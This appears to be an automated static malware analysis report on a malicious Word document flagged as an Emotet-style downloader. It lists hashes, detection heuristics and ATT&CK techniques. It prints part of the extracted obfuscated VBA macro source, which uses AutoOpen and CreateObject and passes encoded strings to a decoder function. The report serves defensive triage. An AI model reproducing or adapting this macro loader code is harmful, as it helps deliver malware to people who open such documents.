Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dcce64f03e3e6994…

MALICIOUS

Office (OLE)

168.5 KB Created: 2018-03-27 18:38:00 Authoring application: Microsoft Office Word First seen: 2018-07-14
MD5: 5f58d134fa6b504d6cc935696678fff0 SHA-1: ad6a53ac36ba52672e838e40b979cecd202c2d9e SHA-256: dcce64f03e3e69944fca5b9c80d83d78fc99bb35e4c04faaf7b691bab69b3535
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Malware.Emodldr-10025032-0'. High-severity heuristics indicate the presence of VBA macros, specifically an AutoOpen macro that uses CreateObject, suggesting an attempt to download and execute a second-stage payload. The extracted VBA macro code, though obfuscated, contains calls to a function 'mzpUhE' with what appear to be encoded strings, likely containing URLs or commands for payload retrieval and execution.

Heuristics 9

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 53337 bytes
SHA-256: 18948f05840a6c4412047d8107e85fdfbb4641584748b581505ab12b1c1c813f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 15 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zuaSBGitjA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "hQiaIZr"
Function RtXwzlmHOCB()
On Error Resume Next
Select Case YfTAl
      Case 70068
         jfjpv = CStr(wiwzb + CStr(4009) - Rmzcv * 65663)
      Case 27737
         Zznfq = PHGhr
         vWiwI = Tan(15993 * UPoGb)
End Select
tHKLiXLuNCu = mzpUhE("M2wTOAA5AGQAOQAzADkAZQBjADYAMgA5ADcANQA1AGQAYQAxADAAYwAxADAAOQAyAGYAZAA2AGEAOAA2ADcAMgA5ADIANQA4AGEANQBmPhJH", 5, 100)
Select Case Lumiq
      Case 10000
         WvGiw = CStr(FRjbs + CStr(33222) - qMvHBU * 74944)
      Case 34075
         wlqLZf = cZPco
         zPwzwC = Tan(98798 * owosPw)
End Select
Select Case lFnHH
      Case 55063
         YVBVvv = CStr(iNscjv + CStr(31288) - Pvnjo * 39562)
      Case 55489
         VEZahN = tbqkNK
         wfwMdv = Tan(83403 * JsuXp)
End Select
luYDWCsi = mzpUhE("oDMAMAA1AGYAMAA4ADQANQA0ADAAMQBlADIANgBmADEAOAAzADcAYQA0AGUANABiADIAMgA1ADYANAAwAGYAMwA4ADUANAA5ADAAOQA2ADQAZgBiAGQANAA2ADMAOQBiADAAYgA3AGMAYQA5AGYAYQA4ADgANQBiAGEPjPzTY", 2, 162)
Select Case UYoMvl
      Case 61618
         VVHRV = CStr(BsKCDc + CStr(97421) - kcqjs * 38195)
      Case 90597
         fKXAYC = YSZHf
         dEMas = Tan(1821 * hsUNt)
End Select
Select Case RKBiQ
      Case 8268
         fzTjv = CStr(CLvpBS + CStr(65158) - zkqDUa * 23270)
      Case 53864
         QRoLXh = JdnjW
         PhTwz = Tan(45742 * HZqtiR)
End Select
TjjLDZWwm = mzpUhE("5aUjYmMAAzAGYANAAy3Di", 7, 12)
Select Case Kfwis
      Case 6344
         CPHZf = CStr(ofYiwP + CStr(82060) - JkVco * 83354)
      Case 74044
         avcFHv = jJrTCN
         MZStv = Tan(53889 * MuTbE)
End Select
Select Case lNUoD
      Case 10870
         XTQYs = CStr(iXMlqF + CStr(69575) - bQdqb * 66896)
      Case 651
         pwBEKW = Tjjruw
         alXZk = Tan(7908 * CFPOEK)
End Select
Nwcrqq = mzpUhE("kOAAwADcAMwA2ADMANQAxADcAYQBmADIAOQAxADUAOQA1AGQANgA0AGEAZAA0ADYAMABmADUAOABmAGYAZgBmADQAZgA3ADYAMAA3AGYAZAA2AGQAMwBhAGQAZAAzicZvJiu", 2, 123)
Select Case rzcWPi
      Case 57654
         WnZLv = CStr(BGOpOQ + CStr(79870) - SCwwqm * 83118)
      Case 74725
         GMiclH = fQhGO
         zYJEAz = Tan(1668 * puIwi)
End Select
Select Case uwAsiC
      Case 47201
         zHLJw = CStr(SksiFi + CStr(86029) - zchISS * 35783)
      Case 37899
         wCzlH = sSiiZ
         jwICPG = Tan(15532 * PqrHu)
End Select
RFpYOpI = mzpUhE("NvAOQA4AGMAYgA2AGUAMABhAGEAMQBHU@YV", 3, 28)
Select Case XKWjGo
      Case 57319
         MHwvLf = CStr(PbzTD + CStr(37180) - ZGCLKH * 15440)
      Case 15697
         sqIhh = uYkSwj
         GTvcM = Tan(338 * rnrfq)
End Select
Select Case CRTzTY
      Case 7049
         aKEzs = CStr(wlRPA + CStr(19845) - ATcEI * 36571)
      Case 43768
         uORcQ = csRiF
         atBYwN = Tan(8902 * kVEzR)
End Select
bRZlKQ = mzpUhE("nvX3kcIAYwBlADMAZsG", 7, 11)
Select Case CwrtL
      Case 9895
         djvmXb = CStr(UsAku + CStr(34283) - HSDFuO * 22081)
      Case 76994
         KTKvD = BXTALz
         Fmbmp = Tan(83159 * VTDAcv)
End Select
Select Case vTvLo
      Case 15792
         nHdsY = CStr(roPAZS + CStr(26864) - ZHXwmX * 57208)
      Case 83123
         bXvEW = ztGtkZ
         PlVUtb = Tan(48362 * TfAKWL)
End Select
KiWjlwF = mzpUhE("khiADkANABlADEAZQBiADkAMABiAGIAZgBmADYANgBhAGMAYQAyADQAZQA3ADMANQBlADgAYwAyADgAYwBiADYAOQBlADYANABkAGEANgA0ADAAMgAxAGUAYgBmAGEAMAAxADcAMwBjADUAZgAxAGUAYQA4ADQAZQA5ADUAYgA1ADcAOAPkhSJF", 3, 175)
Select Case MBknw
      Case 94711
         UdpVH = CStr(GTYdS + CStr(54227) - mdRiCS * 37527)
      Case 15816
         uuzWZj = JwdzN
         rfXUH = Tan(68330 * HXsuTl)
End Select
Select Case pGJhd
      Case 4364
         zwbXs = CStr(znNXAW + CStr(9829) - fcivw * 83670)
      Case 72502
         JfpfV = LfiTv
         CXSNzi = Tan(87162 * ThdYHK)
End Select
... (truncated)

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